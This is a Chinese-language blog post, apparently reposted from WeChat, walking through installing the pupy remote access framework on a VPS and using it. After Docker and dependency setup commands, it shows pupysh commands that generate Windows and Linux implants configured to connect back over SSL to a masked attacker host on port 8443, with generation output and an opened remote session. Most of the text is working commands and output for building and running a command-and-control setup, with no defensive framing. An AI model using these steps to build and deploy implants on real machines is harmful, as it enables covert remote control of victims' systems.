pupy安装与使用
2022-10-2 21:18:41 Author: mp.weixin.qq.com(查看原文) 阅读量:235 收藏

pupy的安装其实并不难,但是网上很多教程写的都稀里糊涂的,很多都过时了,pupy的官方文档也很长时间没更新了,还有docker安装之类的不一样的地方,这里写一篇成功的笔记

  • 千万选择国外的VPS,因为需要安装很多py包而且有些是在docker里面安装,如果想用国内的还要配docker的proxy,甚是麻烦,我选阿里云hk
  • 可以用阿里云国内-->阿里云hk中转一下,要不阿里云hk的也丢包严重
  • 选择ubuntu安装
  • 内存要2G以上,否则会出现安装到一半内存不够的情况

顺序执行以下命令安装pupy

apt-get update && apt-get install curl -y

curl -fsSL https://get.docker.com > docker_installer.sh

chmod +x ./docker_installer.sh && ./docker_installer.sh

apt-get -y install git libssl1.0-dev libffi-dev python-dev \
python-pip build-essential swig tcpdump python-virtualenv

git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy

./create-workspace.py pupyws

安装确实需要一点时间,耐心等待,直到这里表示安装成功

[+] Initialize workdir
[+] Create pupysh,pupygen wrappers
[+] Store symlink to pupysh to /root/.local/bin
[-] /root/.local/bin is not in your PATH!
[email protected]:~/pupy#

安装好了以后

[email protected]:~/pupy# export PATH=$PATH:/root/.local/bin
[email protected]:~/pupy# pupysh

就可以开启服务端了,生成client

>> gen -f client -O windows -A x64 connect --host *.*.*.*:8443 -t ssl
[%] Raw user arguments given for generation: ['--host', '*.*.*.*:8443', '-t', 'ssl']
[%] Launcher configuration: Host & port for connection back will be set to *.*.*.*:8443
[%] Launcher configuration: Transport for connection back will be set to 'ssl'
[+] Generate client: windows/x64

{ Configuration }
KEY VALUE
-------------------------------------------------
launcher connect
launcher_args --host *.*.*.*:8443 -t ssl
cid 2883972996

[+] Required credentials (found)
+ SSL_BIND_CERT
+ SSL_CA_CERT
+ SSL_CLIENT_CERT
+ SSL_BIND_KEY
+ SSL_CLIENT_KEY
[+] OUTPUT_PATH: /root/pupy/pupyws/output/pupyx64.wFx2di.exe
[+] SCRIPTLETS: []
[+] DEBUG: False
>>
>> gen -f client -O linux -A x64 connect --host *.*.*.*:8443 -t ssl
[%] Raw user arguments given for generation: ['--host', '*.*.*.*:8443', '-t', 'ssl']
[%] Launcher configuration: Host & port for connection back will be set to *.*.*.*:8443
[%] Launcher configuration: Transport for connection back will be set to 'ssl'
[+] Generate client: linux/x64

{ Configuration }
KEY VALUE
-------------------------------------------------
launcher connect
launcher_args --host *.*.*.*:8443 -t ssl
cid 4062193371

[+] Required credentials (found)
+ SSL_BIND_CERT
+ SSL_CA_CERT
+ SSL_CLIENT_CERT
+ SSL_BIND_KEY
+ SSL_CLIENT_KEY
[+] OUTPUT_PATH: /root/pupy/pupyws/output/pupyx64.b0rqcM.lin
[+] SCRIPTLETS: []
[+] DEBUG: False
>> shell

成功上线

[*] Session 1 opened ([email protected]) (*.*.*.*:2441)
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address
----------------------------------------------------------------------------------------------------
1 root kali.kingdom Linux 5.3.0-kali3-amd64 x86_64 64bit High *.*.*.*
>>

文章来源: http://mp.weixin.qq.com/s?__biz=MzU5MzY4MzgwOQ==&mid=2247483655&idx=1&sn=6086780043d13e59f4a8e7e0cec6f501&chksm=fe0df509c97a7c1f5fb6b6ba60ff4159829a53a2d463c455cce45acfe757df28dd14f3bf9862&mpshare=1&scene=1&srcid=1002ZJ3WDjfNrAPbmEdPA288&sharer_sharetime=1664716718478&sharer_shareid=205c037363a9188e37dfb6bb4436f95b#rd
如有侵权请联系:admin#unsafe.sh